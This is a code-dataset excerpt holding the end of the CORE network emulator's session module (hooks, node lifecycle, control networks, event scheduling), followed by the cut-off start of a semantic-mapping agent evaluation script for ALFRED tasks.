source_name is not None:\n node.addfile(source_name, file_name)\n elif data is not None:\n node.nodefile(file_name, data)\n\n def clear(self):\n \"\"\"\n Clear all CORE session data. (nodes, hooks, etc)\n\n :return: nothing\n \"\"\"\n self.emane.shutdown()\n self.delete_nodes()\n self.distributed.shutdown()\n self.del_hooks()\n self.emane.reset()\n self.emane.config_reset()\n self.location.reset()\n self.services.reset()\n self.mobility.config_reset()\n\n def start_events(self):\n \"\"\"\n Start event loop.\n\n :return: nothing\n \"\"\"\n self.event_loop.run()\n\n def mobility_event(self, event_data):\n \"\"\"\n Handle a mobility event.\n\n :param core.emulator.data.EventData event_data: event data to handle\n :return: nothing\n \"\"\"\n self.mobility.handleevent(event_data)\n\n def set_location(self, lat, lon, alt, scale):\n \"\"\"\n Set session geospatial location.\n\n :param float lat: latitude\n :param float lon: longitude\n :param float alt: altitude\n :param float scale: reference scale\n :return: nothing\n \"\"\"\n self.location.setrefgeo(lat, lon, alt)\n self.location.refscale = scale\n\n def shutdown(self):\n \"\"\"\n Shutdown all session nodes and remove the session directory.\n \"\"\"\n logging.info(\"session(%s) shutting down\", self.id)\n self.set_state(EventTypes.DATACOLLECT_STATE, send_event=True)\n self.set_state(EventTypes.SHUTDOWN_STATE, send_event=True)\n\n # clear out current core session\n self.clear()\n\n # shutdown sdt\n self.sdt.shutdown()\n\n # remove this sessions working directory\n preserve = self.options.get_config(\"preservedir\") == \"1\"\n if not preserve:\n shutil.rmtree(self.session_dir, ignore_errors=True)\n\n # call session shutdown handlers\n for handler in self.shutdown_handlers:\n handler(self)\n\n def broadcast_event(self, event_data):\n \"\"\"\n Handle event data that should be provided to event handler.\n\n :param core.data.EventData event_data: event data to send out\n :return: nothing\n \"\"\"\n\n for handler in self.event_handlers:\n handler(event_data)\n\n def broadcast_exception(self, exception_data):\n \"\"\"\n Handle exception data that should be provided to exception handlers.\n\n :param core.emulator.data.ExceptionData exception_data: exception data to send out\n :return: nothing\n \"\"\"\n\n for handler in self.exception_handlers:\n handler(exception_data)\n\n def broadcast_node(self, node_data):\n \"\"\"\n Handle node data that should be provided to node handlers.\n\n :param core.emulator.data.ExceptionData node_data: node data to send out\n :return: nothing\n \"\"\"\n\n for handler in self.node_handlers:\n handler(node_data)\n\n def broadcast_file(self, file_data):\n \"\"\"\n Handle file data that should be provided to file handlers.\n\n :param core.data.FileData file_data: file data to send out\n :return: nothing\n \"\"\"\n\n for handler in self.file_handlers:\n handler(file_data)\n\n def broadcast_config(self, config_data):\n \"\"\"\n Handle config data that should be provided to config handlers.\n\n :param core.emulator.data.ConfigData config_data: config data to send out\n :return: nothing\n \"\"\"\n\n for handler in self.config_handlers:\n handler(config_data)\n\n def broadcast_link(self, link_data):\n \"\"\"\n Handle link data that should be provided to link handlers.\n\n :param core.emulator.data.ExceptionData link_data: link data to send out\n :return: nothing\n \"\"\"\n\n for handler in self.link_handlers:\n handler(link_data)\n\n def set_state(self, state, send_event=False):\n \"\"\"\n Set the session's current state.\n\n :param core.enumerations.EventTypes state: state to set to\n :param send_event: if true, generate core API event messages\n :return: nothing\n \"\"\"\n state_value = state.value\n state_name = state.name\n\n if self.state == state_value:\n logging.info(\n \"session(%s) is already in state: %s, skipping change\",\n self.id,\n state_name,\n )\n return\n\n self.state = state_value\n self._state_time = time.monotonic()\n logging.info(\"changing session(%s) to state %s\", self.id, state_name)\n\n self.write_state(state_value)\n self.run_hooks(state_value)\n self.run_state_hooks(state_value)\n\n if send_event:\n event_data = EventData(event_type=state_value, time=str(time.monotonic()))\n self.broadcast_event(event_data)\n\n def write_state(self, state):\n \"\"\"\n Write the current state to a state file in the session dir.\n\n :param int state: state to write to file\n :return: nothing\n \"\"\"\n try:\n state_file = open(self._state_file, \"w\")\n state_file.write(f\"{state} {EventTypes(self.state).name}\\n\")\n state_file.close()\n except IOError:\n logging.exception(\"error writing state file: %s\", state)\n\n def run_hooks(self, state):\n \"\"\"\n Run hook scripts upon changing states. If hooks is not specified, run all hooks in the given state.\n\n :param int state: state to run hooks for\n :return: nothing\n \"\"\"\n\n # check that state change hooks exist\n if state not in self._hooks:\n return\n\n # retrieve all state hooks\n hooks = self._hooks.get(state, [])\n\n # execute all state hooks\n if hooks:\n for hook in hooks:\n self.run_hook(hook)\n else:\n logging.info(\"no state hooks for %s\", state)\n\n def set_hook(self, hook_type, file_name, source_name, data):\n \"\"\"\n Store a hook from a received file message.\n\n :param str hook_type: hook type\n :param str file_name: file name for hook\n :param str source_name: source name\n :param str data: hook data\n :return: nothing\n \"\"\"\n logging.info(\n \"setting state hook: %s - %s from %s\", hook_type, file_name, source_name\n )\n\n _hook_id, state = hook_type.split(\":\")[:2]\n if not state.isdigit():\n logging.error(\"error setting hook having state '%s'\", state)\n return\n\n state = int(state)\n hook = file_name, data\n\n # append hook to current state hooks\n state_hooks = self._hooks.setdefault(state, [])\n state_hooks.append(hook)\n\n # immediately run a hook if it is in the current state\n # (this allows hooks in the definition and configuration states)\n if self.state == state:\n logging.info(\"immediately running new state hook\")\n self.run_hook(hook)\n\n def del_hooks(self):\n \"\"\"\n Clear the hook scripts dict.\n \"\"\"\n self._hooks.clear()\n\n def run_hook(self, hook):\n \"\"\"\n Run a hook.\n\n :param tuple hook: hook to run\n :return: nothing\n \"\"\"\n file_name, data = hook\n logging.info(\"running hook %s\", file_name)\n\n # write data to hook file\n try:\n hook_file = open(os.path.join(self.session_dir, file_name), \"w\")\n hook_file.write(data)\n hook_file.close()\n except IOError:\n logging.exception(\"error writing hook '%s'\", file_name)\n\n # setup hook stdout and stderr\n try:\n stdout = open(os.path.join(self.session_dir, file_name + \".log\"), \"w\")\n stderr = subprocess.STDOUT\n except IOError:\n logging.exception(\"error setting up hook stderr and stdout\")\n stdout = None\n stderr = None\n\n # execute hook file\n try:\n args = [\"/bin/sh\", file_name]\n subprocess.check_call(\n args,\n stdout=stdout,\n stderr=stderr,\n close_fds=True,\n cwd=self.session_dir,\n env=self.get_environment(),\n )\n except (OSError, subprocess.CalledProcessError):\n logging.exception(\"error running hook: %s\", file_name)\n\n def run_state_hooks(self, state):\n \"\"\"\n Run state hooks.\n\n :param int state: state to run hooks for\n :return: nothing\n \"\"\"\n for hook in self._state_hooks.get(state, []):\n try:\n hook(state)\n except Exception:\n state_name = EventTypes(self.state).name\n message = (\n f\"exception occured when running {state_name} state hook: {hook}\"\n )\n logging.exception(message)\n self.exception(\n ExceptionLevels.ERROR, \"Session.run_state_hooks\", None, message\n )\n\n def add_state_hook(self, state, hook):\n \"\"\"\n Add a state hook.\n\n :param int state: state to add hook for\n :param func hook: hook callback for the state\n :return: nothing\n \"\"\"\n hooks = self._state_hooks.setdefault(state, [])\n if hook in hooks:\n raise CoreError(\"attempting to add duplicate state hook\")\n hooks.append(hook)\n\n if self.state == state:\n hook(state)\n\n def del_state_hook(self, state, hook):\n \"\"\"\n Delete a state hook.\n\n :param int state: state to delete hook for\n :param func hook: hook to delete\n :return:\n \"\"\"\n hooks = self._state_hooks.setdefault(state, [])\n hooks.remove(hook)\n\n def runtime_state_hook(self, state):\n \"\"\"\n Runtime state hook check.\n\n :param int state: state to check\n :return: nothing\n \"\"\"\n if state == EventTypes.RUNTIME_STATE.value:\n self.emane.poststartup()\n\n # create session deployed xml\n xml_file_name = os.path.join(self.session_dir, \"session-deployed.xml\")\n xml_writer = corexml.CoreXmlWriter(self)\n corexmldeployment.CoreXmlDeployment(self, xml_writer.scenario)\n xml_writer.write(xml_file_name)\n\n def get_environment(self, state=True):\n \"\"\"\n Get an environment suitable for a subprocess.Popen call.\n This is the current process environment with some session-specific\n variables.\n\n :param bool state: flag to determine if session state should be included\n :return: environment variables\n :rtype: dict\n \"\"\"\n env = os.environ.copy()\n env[\"SESSION\"] = str(self.id)\n env[\"SESSION_SHORT\"] = self.short_session_id()\n env[\"SESSION_DIR\"] = self.session_dir\n env[\"SESSION_NAME\"] = str(self.name)\n env[\"SESSION_FILENAME\"] = str(self.file_name)\n env[\"SESSION_USER\"] = str(self.user)\n env[\"SESSION_NODE_COUNT\"] = str(self.get_node_count())\n\n if state:\n env[\"SESSION_STATE\"] = str(self.state)\n\n # attempt to read and add environment config file\n environment_config_file = os.path.join(constants.CORE_CONF_DIR, \"environment\")\n try:\n if os.path.isfile(environment_config_file):\n utils.load_config(environment_config_file, env)\n except IOError:\n logging.warning(\n \"environment configuration file does not exist: %s\",\n environment_config_file,\n )\n\n # attempt to read and add user environment file\n if self.user:\n environment_user_file = os.path.join(\n \"/home\", self.user, \".core\", \"environment\"\n )\n try:\n utils.load_config(environment_user_file, env)\n except IOError:\n logging.debug(\n \"user core environment settings file not present: %s\",\n environment_user_file,\n )\n\n return env\n\n def set_thumbnail(self, thumb_file):\n \"\"\"\n Set the thumbnail filename. Move files from /tmp to session dir.\n\n :param str thumb_file: tumbnail file to set for session\n :return: nothing\n \"\"\"\n if not os.path.exists(thumb_file):\n logging.error(\"thumbnail file to set does not exist: %s\", thumb_file)\n self.thumbnail = None\n return\n\n destination_file = os.path.join(self.session_dir, os.path.basename(thumb_file))\n shutil.copy(thumb_file, destination_file)\n self.thumbnail = destination_file\n\n def set_user(self, user):\n \"\"\"\n Set the username for this session. Update the permissions of the\n session dir to allow the user write access.\n\n :param str user: user to give write permissions to for the session directory\n :return: nothing\n \"\"\"\n if user:\n try:\n uid = pwd.getpwnam(user).pw_uid\n gid = os.stat(self.session_dir).st_gid\n os.chown(self.session_dir, uid, gid)\n except IOError:\n logging.exception(\"failed to set permission on %s\", self.session_dir)\n\n self.user = user\n\n def get_node_id(self):\n \"\"\"\n Return a unique, new node id.\n \"\"\"\n with self._nodes_lock:\n while True:\n node_id = random.randint(1, 0xFFFF)\n if node_id not in self.nodes:\n break\n\n return node_id\n\n def create_node(self, cls, *args, **kwargs):\n \"\"\"\n Create an emulation node.\n\n :param class cls: node class to create\n :param list args: list of arguments for the class to create\n :param dict kwargs: dictionary of arguments for the class to create\n :return: the created node instance\n :raises core.CoreError: when id of the node to create already exists\n \"\"\"\n node = cls(self, *args, **kwargs)\n\n with self._nodes_lock:\n if node.id in self.nodes:\n node.shutdown()\n raise CoreError(f\"duplicate node id {node.id} for {node.name}\")\n self.nodes[node.id] = node\n\n return node\n\n def get_node(self, _id):\n \"\"\"\n Get a session node.\n\n :param int _id: node id to retrieve\n :return: node for the given id\n :rtype: core.nodes.base.CoreNode\n :raises core.CoreError: when node does not exist\n \"\"\"\n if _id not in self.nodes:\n raise CoreError(f\"unknown node id {_id}\")\n return self.nodes[_id]\n\n def delete_node(self, _id):\n \"\"\"\n Delete a node from the session and check if session should shutdown, if no nodes are left.\n\n :param int _id: id of node to delete\n :return: True if node deleted, False otherwise\n :rtype: bool\n \"\"\"\n # delete node and check for session shutdown if a node was removed\n logging.info(\"deleting node(%s)\", _id)\n node = None\n with self._nodes_lock:\n if _id in self.nodes:\n node = self.nodes.pop(_id)\n\n if node:\n node.shutdown()\n self.check_shutdown()\n\n return node is not None\n\n def delete_nodes(self):\n \"\"\"\n Clear the nodes dictionary, and call shutdown for each node.\n \"\"\"\n with self._nodes_lock:\n funcs = []\n while self.nodes:\n _, node = self.nodes.popitem()\n funcs.append((node.shutdown, [], {}))\n utils.threadpool(funcs)\n self.node_id_gen.id = 0\n\n def write_nodes(self):\n \"\"\"\n Write nodes to a 'nodes' file in the session dir.\n The 'nodes' file lists: number, name, api-type, class-type\n \"\"\"\n try:\n with self._nodes_lock:\n file_path = os.path.join(self.session_dir, \"nodes\")\n with open(file_path, \"w\") as f:\n for _id in self.nodes.keys():\n node = self.nodes[_id]\n f.write(f\"{_id} {node.name} {node.apitype} {type(node)}\\n\")\n except IOError:\n logging.exception(\"error writing nodes file\")\n\n def dump_session(self):\n \"\"\"\n Log information about the session in its current state.\n \"\"\"\n logging.info(\"session id=%s name=%s state=%s\", self.id, self.name, self.state)\n logging.info(\n \"file=%s thumbnail=%s node_count=%s/%s\",\n self.file_name,\n self.thumbnail,\n self.get_node_count(),\n len(self.nodes),\n )\n\n def exception(self, level, source, node_id, text):\n \"\"\"\n Generate and broadcast an exception event.\n\n :param core.emulator.enumerations.ExceptionLevel level: exception level\n :param str source: source name\n :param int node_id: node related to exception\n :param str text: exception message\n :return: nothing\n \"\"\"\n exception_data = ExceptionData(\n node=node_id,\n session=str(self.id),\n level=level,\n source=source,\n date=time.ctime(),\n text=text,\n )\n self.broadcast_exception(exception_data)\n\n def instantiate(self):\n \"\"\"\n We have entered the instantiation state, invoke startup methods\n of various managers and boot the nodes. Validate nodes and check\n for transition to the runtime state.\n \"\"\"\n\n # write current nodes out to session directory file\n self.write_nodes()\n\n # create control net interfaces and network tunnels\n # which need to exist for emane to sync on location events\n # in distributed scenarios\n self.add_remove_control_interface(node=None, remove=False)\n\n # initialize distributed tunnels\n self.distributed.start()\n\n # instantiate will be invoked again upon Emane configure\n if self.emane.startup() == self.emane.NOT_READY:\n return\n\n # boot node services and then start mobility\n exceptions = self.boot_nodes()\n if not exceptions:\n self.mobility.startup()\n\n # notify listeners that instantiation is complete\n event = EventData(event_type=EventTypes.INSTANTIATION_COMPLETE.value)\n self.broadcast_event(event)\n\n # assume either all nodes have booted already, or there are some\n # nodes on slave servers that will be booted and those servers will\n # send a node status response message\n self.check_runtime()\n return exceptions\n\n def get_node_count(self):\n \"\"\"\n Returns the number of CoreNodes and CoreNets, except for those\n that are not considered in the GUI's node count.\n \"\"\"\n\n with self._nodes_lock:\n count = 0\n for node_id in self.nodes:\n node = self.nodes[node_id]\n is_p2p_ctrlnet = isinstance(node, (PtpNet, CtrlNet))\n is_tap = isinstance(node, GreTapBridge) and not isinstance(\n node, TunnelNode\n )\n if is_p2p_ctrlnet or is_tap:\n continue\n\n count += 1\n\n return count\n\n def check_runtime(self):\n \"\"\"\n Check if we have entered the runtime state, that all nodes have been\n started and the emulation is running. Start the event loop once we\n have entered runtime (time=0).\n \"\"\"\n # this is called from instantiate() after receiving an event message\n # for the instantiation state\n logging.debug(\n \"session(%s) checking if not in runtime state, current state: %s\",\n self.id,\n EventTypes(self.state).name,\n )\n if self.state == EventTypes.RUNTIME_STATE.value:\n logging.info(\"valid runtime state found, returning\")\n return\n\n # start event loop and set to runtime\n self.event_loop.run()\n self.set_state(EventTypes.RUNTIME_STATE, send_event=True)\n\n def data_collect(self):\n \"\"\"\n Tear down a running session. Stop the event loop and any running\n nodes, and perform clean-up.\n \"\"\"\n # stop event loop\n self.event_loop.stop()\n\n # stop node services\n with self._nodes_lock:\n funcs = []\n for node_id in self.nodes:\n node = self.nodes[node_id]\n if isinstance(node, CoreNodeBase):\n args = (node,)\n funcs.append((self.services.stop_services, args, {}))\n utils.threadpool(funcs)\n\n # shutdown emane\n self.emane.shutdown()\n\n # update control interface hosts\n self.update_control_interface_hosts(remove=True)\n\n # remove all four possible control networks. Does nothing if ctrlnet is not\n # installed.\n self.add_remove_control_interface(node=None, net_index=0, remove=True)\n self.add_remove_control_interface(node=None, net_index=1, remove=True)\n self.add_remove_control_interface(node=None, net_index=2, remove=True)\n self.add_remove_control_interface(node=None, net_index=3, remove=True)\n\n def check_shutdown(self):\n \"\"\"\n Check if we have entered the shutdown state, when no running nodes\n and links remain.\n \"\"\"\n node_count = self.get_node_count()\n logging.debug(\n \"session(%s) checking shutdown: %s nodes remaining\", self.id, node_count\n )\n\n shutdown = False\n if node_count == 0:\n shutdown = True\n self.set_state(EventTypes.SHUTDOWN_STATE)\n\n return shutdown\n\n def short_session_id(self):\n \"\"\"\n Return a shorter version of the session ID, appropriate for\n interface names, where length may be limited.\n \"\"\"\n ssid = (self.id >> 8) ^ (self.id & ((1 << 8) - 1))\n return f\"{ssid:x}\"\n\n def boot_node(self, node):\n \"\"\"\n Boot node by adding a control interface when necessary and starting\n node services.\n\n :param core.nodes.base.CoreNodeBase node: node to boot\n :return: nothing\n \"\"\"\n logging.info(\"booting node(%s): %s\", node.name, [x.name for x in node.services])\n self.add_remove_control_interface(node=node, remove=False)\n self.services.boot_services(node)\n\n def boot_nodes(self):\n \"\"\"\n Invoke the boot() procedure for all nodes and send back node\n messages to the GUI for node messages that had the status\n request flag.\n\n :return: service boot exceptions\n :rtype: list[core.services.coreservices.ServiceBootError]\n \"\"\"\n with self._nodes_lock:\n funcs = []\n start = time.monotonic()\n for _id in self.nodes:\n node = self.nodes[_id]\n if isinstance(node, CoreNodeBase) and not isinstance(node, Rj45Node):\n args = (node,)\n funcs.append((self.boot_node, args, {}))\n results, exceptions = utils.threadpool(funcs)\n total = time.monotonic() - start\n logging.debug(\"boot run time: %s\", total)\n if not exceptions:\n self.update_control_interface_hosts()\n return exceptions\n\n def get_control_net_prefixes(self):\n \"\"\"\n Retrieve control net prefixes.\n\n :return: control net prefix list\n :rtype: list\n \"\"\"\n p = self.options.get_config(\"controlnet\")\n p0 = self.options.get_config(\"controlnet0\")\n p1 = self.options.get_config(\"controlnet1\")\n p2 = self.options.get_config(\"controlnet2\")\n p3 = self.options.get_config(\"controlnet3\")\n\n if not p0 and p:\n p0 = p\n\n return [p0, p1, p2, p3]\n\n def get_control_net_server_interfaces(self):\n \"\"\"\n Retrieve control net server interfaces.\n\n :return: list of control net server interfaces\n :rtype: list\n \"\"\"\n d0 = self.options.get_config(\"controlnetif0\")\n if d0:\n logging.error(\"controlnet0 cannot be assigned with a host interface\")\n d1 = self.options.get_config(\"controlnetif1\")\n d2 = self.options.get_config(\"controlnetif2\")\n d3 = self.options.get_config(\"controlnetif3\")\n return [None, d1, d2, d3]\n\n def get_control_net_index(self, dev):\n \"\"\"\n Retrieve control net index.\n\n :param str dev: device to get control net index for\n :return: control net index, -1 otherwise\n :rtype: int\n \"\"\"\n if dev[0:4] == \"ctrl\" and int(dev[4]) in [0, 1, 2, 3]:\n index = int(dev[4])\n if index == 0:\n return index\n if index < 4 and self.get_control_net_prefixes()[index] is not None:\n return index\n return -1\n\n def get_control_net(self, net_index):\n return self.get_node(CTRL_NET_ID + net_index)\n\n def add_remove_control_net(self, net_index, remove=False, conf_required=True):\n \"\"\"\n Create a control network bridge as necessary.\n When the remove flag is True, remove the bridge that connects control\n interfaces. The conf_reqd flag, when False, causes a control network\n bridge to be added even if one has not been configured.\n\n :param int net_index: network index\n :param bool remove: flag to check if it should be removed\n :param bool conf_required: flag to check if conf is required\n :return: control net node\n :rtype: core.nodes.network.CtrlNet\n \"\"\"\n logging.debug(\n \"add/remove control net: index(%s) remove(%s) conf_required(%s)\",\n net_index,\n remove,\n conf_required,\n )\n prefix_spec_list = self.get_control_net_prefixes()\n prefix_spec = prefix_spec_list[net_index]\n if not prefix_spec:\n if conf_required:\n # no controlnet needed\n return None\n else:\n prefix_spec = CtrlNet.DEFAULT_PREFIX_LIST[net_index]\n logging.debug(\"prefix spec: %s\", prefix_spec)\n\n server_interface = self.get_control_net_server_interfaces()[net_index]\n\n # return any existing controlnet bridge\n try:\n control_net = self.get_control_net(net_index)\n\n if remove:\n self.delete_node(control_net.id)\n return None\n\n return control_net\n except CoreError:\n if remove:\n return None\n\n # build a new controlnet bridge\n _id = CTRL_NET_ID + net_index\n\n # use the updown script for control net 0 only.\n updown_script = None\n\n if net_index == 0:\n updown_script = self.options.get_config(\"controlnet_updown_script\")\n if not updown_script:\n logging.debug(\"controlnet updown script not configured\")\n\n prefixes = prefix_spec.split()\n if len(prefixes) > 1:\n # a list of per-host prefixes is provided\n try:\n # split first (master) entry into server and prefix\n prefix = prefixes[0].split(\":\", 1)[1]\n except IndexError:\n # no server name. possibly only one server\n prefix = prefixes[0]\n else:\n prefix = prefixes[0]\n\n logging.info(\n \"controlnet(%s) prefix(%s) updown(%s) serverintf(%s)\",\n _id,\n prefix,\n updown_script,\n server_interface,\n )\n control_net = self.create_node(\n cls=CtrlNet,\n _id=_id,\n prefix=prefix,\n assign_address=True,\n updown_script=updown_script,\n serverintf=server_interface,\n )\n\n return control_net\n\n def add_remove_control_interface(\n self, node, net_index=0, remove=False, conf_required=True\n ):\n \"\"\"\n Add a control interface to a node when a 'controlnet' prefix is\n listed in the config file or session options. Uses\n addremovectrlnet() to build or remove the control bridge.\n If conf_reqd is False, the control network may be built even\n when the user has not configured one (e.g. for EMANE.)\n\n :param core.nodes.base.CoreNodeBase node: node to add or remove control interface\n :param int net_index: network index\n :param bool remove: flag to check if it should be removed\n :param bool conf_required: flag to check if conf is required\n :return: nothing\n \"\"\"\n control_net = self.add_remove_control_net(net_index, remove, conf_required)\n if not control_net:\n return\n\n if not node:\n return\n\n # ctrl# already exists\n if node.netif(control_net.CTRLIF_IDX_BASE + net_index):\n return\n\n control_ip = node.id\n\n try:\n address = control_net.prefix.addr(control_ip)\n prefix = control_net.prefix.prefixlen\n addrlist = [f\"{address}/{prefix}\"]\n except ValueError:\n msg = f\"Control interface not added to node {node.id}. \"\n msg += f\"Invalid control network prefix ({control_net.prefix}). \"\n msg += \"A longer prefix length may be required for this many nodes.\"\n logging.exception(msg)\n return\n\n interface1 = node.newnetif(\n net=control_net,\n ifindex=control_net.CTRLIF_IDX_BASE + net_index,\n ifname=f\"ctrl{net_index}\",\n hwaddr=MacAddress.random(),\n addrlist=addrlist,\n )\n node.netif(interface1).control = True\n\n def update_control_interface_hosts(self, net_index=0, remove=False):\n \"\"\"\n Add the IP addresses of control interfaces to the /etc/hosts file.\n\n :param int net_index: network index to update\n :param bool remove: flag to check if it should be removed\n :return: nothing\n \"\"\"\n if not self.options.get_config_bool(\"update_etc_hosts\", default=False):\n return\n\n try:\n control_net = self.get_control_net(net_index)\n except CoreError:\n logging.exception(\"error retrieving control net node\")\n return\n\n header = f\"CORE session {self.id} host entries\"\n if remove:\n logging.info(\"Removing /etc/hosts file entries.\")\n utils.file_demunge(\"/etc/hosts\", header)\n return\n\n entries = []\n for interface in control_net.netifs():\n name = interface.node.name\n for address in interface.addrlist:\n address = address.split(\"/\")[0]\n entries.append(f\"{address} {name}\")\n\n logging.info(\"Adding %d /etc/hosts file entries.\", len(entries))\n\n utils.file_munge(\"/etc/hosts\", header, \"\\n\".join(entries) + \"\\n\")\n\n def runtime(self):\n \"\"\"\n Return the current time we have been in the runtime state, or zero\n if not in runtime.\n \"\"\"\n if self.state == EventTypes.RUNTIME_STATE.value:\n return time.monotonic() - self._state_time\n else:\n return 0.0\n\n def add_event(self, event_time, node=None, name=None, data=None):\n \"\"\"\n Add an event to the event queue, with a start time relative to the\n start of the runtime state.\n\n :param event_time: event time\n :param core.nodes.base.CoreNode node: node to add event for\n :param str name: name of event\n :param data: data for event\n :return: nothing\n \"\"\"\n event_time = float(event_time)\n current_time = self.runtime()\n\n if current_time > 0:\n if event_time <= current_time:\n logging.warning(\n \"could not schedule past event for time %s (run time is now %s)\",\n event_time,\n current_time,\n )\n return\n event_time = event_time - current_time\n\n self.event_loop.add_event(\n event_time, self.run_event, node=node, name=name, data=data\n )\n\n if not name:\n name = \"\"\n logging.info(\n \"scheduled event %s at time %s data=%s\",\n name,\n event_time + current_time,\n data,\n )\n\n # TODO: if data is None, this blows up, but this ties into how event functions\n # are ran, need to clean that up\n def run_event(self, node_id=None, name=None, data=None):\n \"\"\"\n Run a scheduled event, executing commands in the data string.\n\n :param int node_id: node id to run event\n :param str name: event name\n :param str data: event data\n :return: nothing\n \"\"\"\n now = self.runtime()\n if not name:\n name = \"\"\n\n logging.info(\"running event %s at time %s cmd=%s\", name, now, data)\n if not node_id:\n utils.mute_detach(data)\n else:\n node = self.get_node(node_id)\n node.cmd(data, wait=False)\n","repo_name":"tinchoa/core","sub_path":"daemon/core/emulator/session.py","file_name":"session.py","file_ext":"py","file_size_in_byte":65286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"29"} +{"seq_id":"869820209","text":"from curses.ascii import ctrl\nimport pickle\nfrom models.semantic_policy.sem_map_model import UNetMulti, MLM\nimport alfred_utils.gen.constants as constants\nfrom models.instructions_processed_LP.ALFRED_task_helper import determine_consecutive_interx\nfrom models.sem_mapping import Semantic_Mapping\nimport envs.utils.pose as pu\nfrom envs import make_vec_envs\nfrom arguments import get_args\nfrom datetime import datetime\nfrom collections import defaultdict\nimport skimage.morphology\nimport math\nimport numpy as np\nimport torch.nn as nn\nimport torch\nimport cv2\nimport os\nimport sys\nimport matplotlib\n\nos.environ['KMP_DUPLICATE_LIB_OK'] = 'True'\nos.environ[\"OMP_NUM_THREADS\"] = \"1\"\n\nif sys.platform == 'darwin':\n matplotlib.use(\"tkagg\")\n\n\ndef into_grid(ori_grid, grid_size):\n if ori_grid.shape[0] == grid_size:\n return ori_grid\n\n one_cell_size = math.ceil(240 / grid_size)\n\n ori_grid = ori_grid.unsqueeze(0).unsqueeze(0)\n\n m = nn.AvgPool2d(one_cell_size, stride=one_cell_size)\n avg_pooled = m(ori_grid)[0, 0, :, :]\n return_grid = (avg_pooled > 0).float()\n\n return return_grid\n\n\ndef getCurrImgCoord(planner_pose_input, map_resolution):\n start_x, start_y, start_o, gx1, gx2, gy1, gy2 = planner_pose_input\n gx1, gx2, gy1, gy2 = int(gx1), int(gx2), int(gy1), int(gy2)\n r, c = start_y, start_x\n yx = [int(r * 100.0/map_resolution - gy1),\n int(c * 100.0/map_resolution - gx1)]\n return yx\n\n\ndef getNeighborMap(ori_map, dil_sz):\n goal_neighbor = ori_map.copy()\n goal_neighbor = skimage.morphology.binary_dilation(\n goal_neighbor, skimage.morphology.square(dil_sz))\n return goal_neighbor\n\n\ndef searchArgmax(conv_sz, score_map, mask=None):\n # fast 2D convolution\n kernel = np.ones(conv_sz)\n conv_1d = lambda m: np.convolve(m, kernel, mode='same')\n ver_sum = np.apply_along_axis(conv_1d, axis=0, arr=score_map)\n conved = np.apply_along_axis(conv_1d, axis=1, arr=ver_sum)\n\n conved_masked = conved if (mask is None) else conved * mask\n\n return np.unravel_index(conved_masked.argmax(), conved_masked.shape)\n\n\ndef main():\n args = get_args()\n dn = datetime.now().strftime(\"%Y%m%d_%H%M%S_%f\")\n args.dn = dn\n if args.set_dn != \"\":\n args.dn = args.set_dn\n dn = args.set_dn\n print(\"dn is \", dn)\n\n if not os.path.exists(\"results/logs\"):\n os.makedirs(\"results/logs\")\n if not os.path.exists(\"results/leaderboard\"):\n os.makedirs(\"results/leaderboard\")\n if not os.path.exists(\"results/successes\"):\n os.makedirs(\"results/successes\")\n if not os.path.exists(\"results/fails\"):\n os.makedirs(\"results/fails\")\n if not os.path.exists(\"results/analyze_recs\"):\n os.makedirs(\"results/analyze_recs\")\n\n completed_episodes = []\n\n skip_indices = {}\n if args.exclude_list != \"\":\n if args.exclude_list[-2:] == \".p\":\n skip_indices = pickle.load(open(args.exclude_list, 'rb'))\n skip_indices = {int(s): 1 for s in skip_indices}\n else:\n skip_indices = [a for a in args.exclude_list.split(',')]\n skip_indices = {int(s): 1 for s in skip_indices}\n args.skip_indices = skip_indices\n actseqs = []\n all_completed = [False] * args.num_processes\n successes = []\n failures = []\n analyze_recs = []\n traj_number = [0] * args.num_processes\n num_scenes = args.num_processes\n\n local_rngs = [np.random.RandomState(args.seed + args.from_idx + e) for e in range(args.num_processes)]\n torch.manual_seed(args.seed)\n if args.cuda:\n torch.cuda.manual_seed(args.seed)\n\n large_objects2idx = {obj: i for i, obj in enumerate(\n constants.map_save_large_objects)}\n all_objects2idx = {o: i for i, o in enumerate(constants.map_all_objects)}\n softmax = nn.Softmax(dim=1)\n\n # Logging and loss variables\n num_episodes = [0] * args.num_processes\n for e in range(args.from_idx, args.to_idx):\n remainder = e % args.num_processes\n num_episodes[remainder] += 1\n\n device = args.device = torch.device(\n \"cuda:\" + args.which_gpu if args.cuda else \"cpu\")\n if args.sem_policy_type == \"mlm\":\n Unet_model = MLM(\n (240, 240), (args.grid_sz, args.grid_sz), f\"models/semantic_policy/{args.mlm_fname}.csv\",\n options=args.mlm_options).to(device=device)\n if \"mixed_search\" in args.mlm_options:\n Unet_model_equal = MLM(\n (240, 240), (args.grid_sz, args.grid_sz),\n f\"models/semantic_policy/mlmscore_equal.csv\",\n options=args.mlm_options).to(device=device)\n\n elif args.sem_policy_type == \"cnn\":\n assert args.grid_sz == 8, \"grid size should be 8 when sem_policy_type is 'film'\"\n Unet_model = UNetMulti(\n (240, 240), num_sem_categories=24).to(device=device)\n sd = torch.load(\n 'models/semantic_policy/new_best_model.pt', map_location=device)\n Unet_model.load_state_dict(sd)\n del sd\n\n finished = np.zeros((args.num_processes))\n\n # Starting environments\n torch.set_num_threads(1)\n envs = make_vec_envs(args)\n fails = [0] * num_scenes\n prev_cns = [None] * num_scenes\n\n obs, infos, actions_dicts = envs.load_initial_scene()\n second_objects = []\n list_of_actions_s = []\n task_types = []\n whether_sliced_s = []\n for e in range(args.num_processes):\n second_object = actions_dicts[e]['second_object']\n list_of_actions = actions_dicts[e]['list_of_actions']\n task_type = actions_dicts[e]['task_type']\n sliced = actions_dicts[e]['sliced']\n second_objects.append(second_object)\n list_of_actions_s.append(list_of_actions)\n task_types.append(task_type)\n whether_sliced_s.append(sliced)\n\n task_finish = [False] * args.num_processes\n first_steps = [True] * args.num_processes\n num_steps_so_far = [0] * args.num_processes\n load_goal_pointers = [0] * args.num_processes\n list_of_actions_pointer_s = [0] * args.num_processes\n goal_spotted_s = [False] * args.num_processes\n list_of_actions_pointer_s = [0] * args.num_processes\n goal_logs = [[] for i in range(args.num_processes)]\n goal_cat_before_second_objects = [None] * args.num_processes\n subgoal_counter_s = [0] * args.num_processes\n found_subgoal_coordinates = [None] * args.num_processes\n\n do_not_update_cat_s = [None] * args.num_processes\n wheres_delete_s = [np.zeros((240, 240))] * args.num_processes\n sem_search_searched_s = [np.zeros((240, 240))] * args.num_processes\n\n args.num_sem_categories = 1 + 1 + 1 + 5 * args.num_processes\n if args.sem_policy_type != \"none\":\n 